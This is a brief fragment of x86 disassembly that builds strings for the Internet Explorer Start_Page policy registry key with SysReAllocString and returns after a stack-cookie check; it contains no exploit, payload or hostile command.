push str.Start_Page
push str.SOFTWAREPoliciesMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d11f
mov esp, ebp
pop ebp
ret